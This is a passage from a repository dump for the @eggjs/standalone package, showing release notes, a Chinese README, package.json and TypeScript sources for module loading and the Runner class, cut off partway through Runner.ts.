[3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n\n### Bug Fixes\n\n* mount clazzExtension/clazzExtension/tableSql to BaseDao ([#220](https://github.com/eggjs/tegg/issues/220)) ([ac322cf](https://github.com/eggjs/tegg/commit/ac322cfc4100841a1483b04b99e04d553af323eb))\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n\n### Features\n\n* use app.loader.getTypeFiles to generate module config file names ([#213](https://github.com/eggjs/tegg/issues/213)) ([e0656a4](https://github.com/eggjs/tegg/commit/e0656a4d59beef103a5627461d9b9c87996928e3))\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n\n### Features\n\n* impl dal transaction ([#214](https://github.com/eggjs/tegg/issues/214)) ([b8b67dd](https://github.com/eggjs/tegg/commit/b8b67dd7e0fb282d78de7e68e68834ff79d30732))\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n* impl dal forkDb ([#202](https://github.com/eggjs/tegg/issues/202)) ([a411f04](https://github.com/eggjs/tegg/commit/a411f04e074425419b5b348a362f120bf8189541))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n\n### Features\n\n* impl dal for standalone tegg ([#197](https://github.com/eggjs/tegg/issues/197)) ([56b259d](https://github.com/eggjs/tegg/commit/56b259d7215a9d9542b36e421996623819369846))\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n\n### Bug Fixes\n\n* config for env is not merged when default config is empty ([#178](https://github.com/eggjs/tegg/issues/178)) ([9c1de22](https://github.com/eggjs/tegg/commit/9c1de223e9c9befb0a803ac5a1bd843f74aa9493))\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n\n### Bug Fixes\n\n* fix standalone import ConfigSource ([#163](https://github.com/eggjs/tegg/issues/163)) ([6922071](https://github.com/eggjs/tegg/commit/6922071219413a8a11387be3d05f0e3970ce4f48))\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n\n### Features\n\n* tegg plugin support ModuleConfig ([#162](https://github.com/eggjs/tegg/issues/162)) ([58bd9fa](https://github.com/eggjs/tegg/commit/58bd9fafdd0d56aabdde5f7c33f17c45568bada8))\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n\n### Features\n\n* add className property to EggPrototypeInfo ([#158](https://github.com/eggjs/tegg/issues/158)) ([bddac97](https://github.com/eggjs/tegg/commit/bddac97a9f575c9f13b794246a7e8346c58d1a09))\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n\n### Features\n\n* support load module config with env ([#151](https://github.com/eggjs/tegg/issues/151)) ([c087226](https://github.com/eggjs/tegg/commit/c087226bd7764242fadce5622fccd9e9fee56322))\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n\n### Bug Fixes\n\n* fix use MultiInstanceProto from other modules ([#147](https://github.com/eggjs/tegg/issues/147)) ([b71af60](https://github.com/eggjs/tegg/commit/b71af60ce6d1da0d778f5e712633b8c15052bd70))\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n\n### Features\n\n* add aop runtime/dynamic inject runtime for standalone ([#149](https://github.com/eggjs/tegg/issues/149)) ([6091fc6](https://github.com/eggjs/tegg/commit/6091fc6be885976d72a6920d37ec685927b63d5d))\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n\n### Features\n\n* export EggModuleLoader in standalone ([#146](https://github.com/eggjs/tegg/issues/146)) ([9d1da9a](https://github.com/eggjs/tegg/commit/9d1da9a87dbd486930adc50cd43020c2fb478230))\n* implement RuntimeConfig ([#144](https://github.com/eggjs/tegg/issues/144)) ([0862655](https://github.com/eggjs/tegg/commit/0862655846f6765349d406ee697c036cec2a37bd))\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n\n### Features\n\n* impl ModuleConfigs for standalone ([#136](https://github.com/eggjs/tegg/issues/136)) ([7227492](https://github.com/eggjs/tegg/commit/7227492295b9c84e3660bfc006ca96e7a9652a25))\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n\n### Bug Fixes\n\n* export StandaloneInnerObject ([#131](https://github.com/eggjs/tegg/issues/131)) ([e4b87e0](https://github.com/eggjs/tegg/commit/e4b87e0a48e3232adaf43bad75f44d0ae775c984))\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n\n### Features\n\n* standalone Runner run support ctx ([#126](https://github.com/eggjs/tegg/issues/126)) ([0788c7d](https://github.com/eggjs/tegg/commit/0788c7dfb57f96c55e94cc6692c0b6e9ac1ee03c))\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* standalone support context ([#65](https://github.com/eggjs/tegg/issues/65)) ([b35dc2d](https://github.com/eggjs/tegg/commit/b35dc2d40fff1331145abd3f04917dc64f80010b))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* standalone support context ([#65](https://github.com/eggjs/tegg/issues/65)) ([b35dc2d](https://github.com/eggjs/tegg/commit/b35dc2d40fff1331145abd3f04917dc64f80010b))\n\n\n\n\n\n## [1.3.6](https://github.com/eggjs/tegg/compare/@eggjs/tegg-standalone@1.3.5...@eggjs/tegg-standalone@1.3.6) (2022-09-04)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [1.3.5](https://github.com/eggjs/tegg/compare/@eggjs/tegg-standalone@1.3.4...@eggjs/tegg-standalone@1.3.5) (2022-08-16)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [1.3.4](https://github.com/eggjs/tegg/compare/@eggjs/tegg-standalone@1.3.3...@eggjs/tegg-standalone@1.3.4) (2022-07-28)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [1.3.3](https://github.com/eggjs/tegg/compare/@eggjs/tegg-standalone@1.3.2...@eggjs/tegg-standalone@1.3.3) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [1.3.2](https://github.com/eggjs/tegg/compare/@eggjs/tegg-standalone@1.3.1...@eggjs/tegg-standalone@1.3.2) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n"
  },
  {
    "path": "tegg/standalone/standalone/README.md",
    "content": "# `@eggjs/standalone`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/standalone.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/standalone.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/standalone\n[snyk-image]: https://snyk.io/test/npm/@eggjs/standalone/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/standalone\n[download-image]: https://img.shields.io/npm/dm/@eggjs/standalone.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/standalone\n\n通过 `@eggjs/standalone` 在一个独立环境去中运行 tegg 应用。\n\n## install\n\n```sh\nnpm i --save @eggjs/standalone\n```\n\n## Usage\n\n当一个类上有 Runner 注解时，会自动运行其 main 函数。注无需再使用 `ContextProto` 注解，因为独立运行跑完即销毁，不用再区分独立上下文。\n\n```ts\nimport { Runner, type MainRunner } from '@eggjs/tegg/standalone';\n\n@Runner()\n@SingletonProto()\nexport class Foo implements MainRunner<string> {\n  @Inject()\n  hello: Hello;\n\n  async main(): Promise<string> {\n    return this.hello.hello();\n  }\n}\n```\n\n运行代码\n\n- cwd 为当前应用工作目录\n- options:\n  - innerObjects: 当前运行环境中内置的对象\n\n```\nawait main(cwd, {\n  innerObjects: {\n    hello: {\n      hello: () => {\n        return 'hello, inner';\n      },\n    },\n  },\n});\n```\n\n### 配置\n\nmodule 支持通过 module.yml 来定义配置，在代码中可以通过注入 moduleConfigs 获取全局配置，通过注入 moduleConfig 来获取单 module 的配置。\n\n```yaml\n# module.yml\n# module 根目录中\n\nfeatures:\n  dynamic:\n    foo: 'bar'\n```\n\n```ts\n@ContextProto()\nexport class Foo {\n  // 获取全局配置, 通过 get 方法来获取特定 module 的配置\n  @Inject()\n  moduleConfigs: ModuleConfigs;\n\n  // 注入当前 module 的配置\n  @Inject()\n  moduleConfig: ModuleConfig;\n\n  // 注入 \"bar\" module 的配置\n  @Inject({\n    name: 'moduleConfig',\n  })\n  @ConfigSourceQualifier('bar')\n  barModuleConfig: ModuleConfig;\n\n  async main() {\n    return {\n      configs: this.moduleConfigs,\n      foo: this.moduleConfig,\n      bar: this.barModuleConfig,\n    };\n  }\n}\n```\n"
  },
  {
    "path": "tegg/standalone/standalone/package.json",
    "content": "{\n  \"name\": \"@eggjs/standalone\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg standalone\",\n  \"keywords\": [\n    \"async\",\n    \"background\",\n    \"egg\",\n    \"standalone\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/standalone/standalone\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/standalone/standalone\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/aop-runtime\": \"workspace:*\",\n    \"@eggjs/dal-plugin\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/ajv-plugin\": \"workspace:*\",\n    \"@eggjs/bin\": \"workspace:*\",\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/dal-decorator\": \"workspace:*\",\n    \"@eggjs/utils\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"mm\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/src/ConfigSourceLoadUnitHook.ts",
    "content": "import type { LoadUnit, LoadUnitLifecycleContext } from '@eggjs/metadata';\nimport {\n  type LifecycleHook,\n  PrototypeUtil,\n  QualifierUtil,\n  ConfigSourceQualifier,\n  ConfigSourceQualifierAttribute,\n} from '@eggjs/tegg';\n\n/**\n * Hook for inject moduleConfig.\n * Add default qualifier value is current module name.\n */\nexport class ConfigSourceLoadUnitHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  async preCreate(ctx: LoadUnitLifecycleContext, loadUnit: LoadUnit): Promise<void> {\n    const classList = await ctx.loader.load();\n    for (const clazz of classList) {\n      const injectObjects = PrototypeUtil.getInjectObjects(clazz);\n      const moduleConfigObject = injectObjects.find((t) => t.objName === 'moduleConfig');\n      const configSourceQualifier = QualifierUtil.getProperQualifier(\n        clazz,\n        'moduleConfig',\n        ConfigSourceQualifierAttribute,\n      );\n      if (moduleConfigObject && !configSourceQualifier) {\n        ConfigSourceQualifier(loadUnit.name)(clazz.prototype, moduleConfigObject.refName);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/src/EggModuleLoader.ts",
    "content": "import {\n  EggLoadUnitType,\n  GlobalGraph,\n  type Loader,\n  type LoadUnit,\n  LoadUnitFactory,\n  ModuleDescriptorDumper,\n} from '@eggjs/metadata';\nimport type { Logger } from '@eggjs/tegg';\nimport type { ModuleReference } from '@eggjs/tegg-common-util';\nimport { LoaderFactory } from '@eggjs/tegg-loader';\n\nexport interface EggModuleLoaderOptions {\n  logger: Logger;\n  baseDir: string;\n  dump?: boolean;\n}\n\nexport class EggModuleLoader {\n  private moduleReferences: readonly ModuleReference[];\n  private globalGraph: GlobalGraph;\n  private options: EggModuleLoaderOptions;\n\n  constructor(moduleReferences: readonly ModuleReference[], options: EggModuleLoaderOptions) {\n    this.moduleReferences = moduleReferences;\n    this.options = options;\n  }\n\n  async init(): Promise<void> {\n    GlobalGraph.instance = this.globalGraph = await EggModuleLoader.generateAppGraph(\n      this.moduleReferences,\n      this.options,\n    );\n  }\n\n  private static async generateAppGraph(moduleReferences: readonly ModuleReference[], options: EggModuleLoaderOptions) {\n    const moduleDescriptors = await LoaderFactory.loadApp(moduleReferences);\n    if (options.dump !== false) {\n      for (const moduleDescriptor of moduleDescriptors) {\n        ModuleDescriptorDumper.dump(moduleDescriptor, {\n          dumpDir: options.baseDir,\n        }).catch((e) => {\n          e.message = 'dump module descriptor failed: ' + e.message;\n          options.logger.warn(e);\n        });\n      }\n    }\n    const globalGraph = await GlobalGraph.create(moduleDescriptors);\n    return globalGraph;\n  }\n\n  async load(): Promise<LoadUnit[]> {\n    const loadUnits: LoadUnit[] = [];\n    this.globalGraph.build();\n    this.globalGraph.sort();\n    const moduleConfigList = GlobalGraph.instance!.moduleConfigList;\n    for (const moduleConfig of moduleConfigList) {\n      const modulePath = moduleConfig.path;\n      const loader = LoaderFactory.createLoader(modulePath, EggLoadUnitType.MODULE);\n      const loadUnit = await LoadUnitFactory.createLoadUnit(modulePath, EggLoadUnitType.MODULE, loader);\n      loadUnits.push(loadUnit);\n    }\n    return loadUnits;\n  }\n\n  static async preLoad(moduleReferences: readonly ModuleReference[], options: EggModuleLoaderOptions): Promise<void> {\n    const loadUnits: LoadUnit[] = [];\n    const loaderCache = new Map<string, Loader>();\n    const globalGraph = (GlobalGraph.instance = await EggModuleLoader.generateAppGraph(moduleReferences, options));\n    globalGraph.sort();\n    const moduleConfigList = globalGraph.moduleConfigList;\n    for (const moduleConfig of moduleConfigList) {\n      const modulePath = moduleConfig.path;\n      const loader = loaderCache.get(modulePath)!;\n      const loadUnit = await LoadUnitFactory.createPreloadLoadUnit(modulePath, EggLoadUnitType.MODULE, loader);\n      loadUnits.push(loadUnit);\n    }\n    for (const load of loadUnits) {\n      await load.preLoad?.();\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/src/ModuleConfig.ts",
    "content": "// import 'egg';\n\n// for declare merging\n// declare module 'egg' {\n//   export interface ModuleConfig {\n//     // ...\n//   }\n// }\n"
  },
  {
    "path": "tegg/standalone/standalone/src/Runner.ts",
    "content": "import {\n  crossCutGraphHook,\n  EggObjectAopHook,\n  EggPrototypeCrossCutHook,\n  LoadUnitAopHook,\n  pointCutGraphHook,\n} from '@eggjs/aop-runtime';\nimport {\n  DalTableEggPrototypeHook,\n  DalModuleLoadUnitHook,\n  MysqlDataSourceManager,\n  SqlMapManager,\n  TableModelManager,\n  TransactionPrototypeHook,\n} from '@eggjs/dal-plugin';\nimport {\n  type EggPrototype,\n  EggPrototypeLifecycleUtil,\n  GlobalGraph,\n  type LoadUnit,\n  LoadUnitFactory,\n  LoadUnitLifecycleUtil,\n  LoadUnitMultiInstanceProtoHook,\n} from '@eggjs/metadata';\nimport {\n  type EggProtoImplClass,\n  PrototypeUtil,\n  type ModuleConfigHolder,\n  ModuleConfigs,\n  ConfigSourceQualifierAttribute,\n  type Logger,\n} from '@eggjs/tegg';\nimport {\n  ModuleConfigUtil,\n  type ModuleReference,\n  type ReadModuleReferenceOptions,\n  type RuntimeConfig,\n} from '@eggjs/tegg-common-util';\nimport {\n  ContextHandler,\n  EggContainerFactory,\n  type EggContext,\n  EggObjectLifecycleUtil,\n  type LoadUnitInstance,\n  LoadUnitInstanceFactory,\n  ModuleLoadUnitInstance,\n} from '@eggjs/tegg-runtime';\nimport { CrosscutAdviceFactory } from '@eggjs/tegg/aop';\nimport { StandaloneUtil, type MainRunner } from '@eggjs/tegg/standalone';\n\nimport { ConfigSourceLoadUnitHook } from './ConfigSourceLoadUnitHook.ts';\nimport { EggModuleLoader } from './EggModuleLoader.ts';\nimport { StandaloneContext } from './StandaloneContext.ts';\nimport { StandaloneContextHandler } from './StandaloneContextHandler.ts';\nimport { type InnerObject, StandaloneLoadUnit, StandaloneLoadUnitType } from './StandaloneLoadUnit.ts';\n\nexport interface ModuleDependency extends ReadModuleReferenceOptions {\n  baseDir: string;\n}\n\nexport interface RunnerOptions {\n  /**\n   * @deprecated\n   * use inner object handlers instead\n   */\n  innerObjects?: Record<string, object>;\n  env?: string;\n  name?: string;\n  innerObjectHandlers?: Record<string, InnerObject[]>;\n  dependencies?: (string | ModuleDependency)[];\n  dump?: boolean;\n}\n\nexport class Runner {\n  readonly cwd: string;\n  readonly moduleReferences: readonly ModuleReference[];\n  readonly moduleConfigs: Record<string, ModuleConfigHolder>;\n  readonly env?: string;\n  readonly name?: string;\n  readonly options?: RunnerOptions;\n  private loadUnitLoader: EggModuleLoader;\n  private runnerProto: EggPrototype;\n  private configSourceEggPrototypeHook: ConfigSourceLoadUnitHook;\n  private loadUnitMultiInstanceProtoHook: LoadUnitMultiInstanceProtoHook;\n  private dalTableEggPrototypeHook: DalTableEggPrototypeHook;\n  private dalModuleLoadUnitHook: DalModuleLoadUnitHook;\n  private transactionPrototypeHook: TransactionPrototypeHook;\n\n  private crosscutAdviceFactory: CrosscutAdviceFactory;\n  private loadUnitAopHook: LoadUnitAopHook;\n  private eggPrototypeCrossCutHook: EggPrototypeCrossCutHook;\n  private eggObjectAopHook: EggObjectAopHook;\n\n  loadUnits: LoadUnit[] = [];\n  loadUnitInstances: LoadUnitInstance[] = [];\n  innerObjects: Record<string, InnerObject[]>;\n\n  constructor(cwd: string, options?: RunnerOptions) {\n    this.cwd = cwd;\n    this.env = options?.env;\n    this.name = options?.name;\n    this.options = options;\n    this.moduleReferences = Runner.getModuleReferences(this.cwd, options?.dependencies);\n    this.moduleConfigs = {};\n    this.innerObjects = {\n      moduleConfigs: [\n        {\n          obj: new ModuleConfigs(this.moduleConfigs),\n        },\n      ],\n      moduleConfig: [],\n      mysqlDataSourceManager: [\n        {\n          obj: 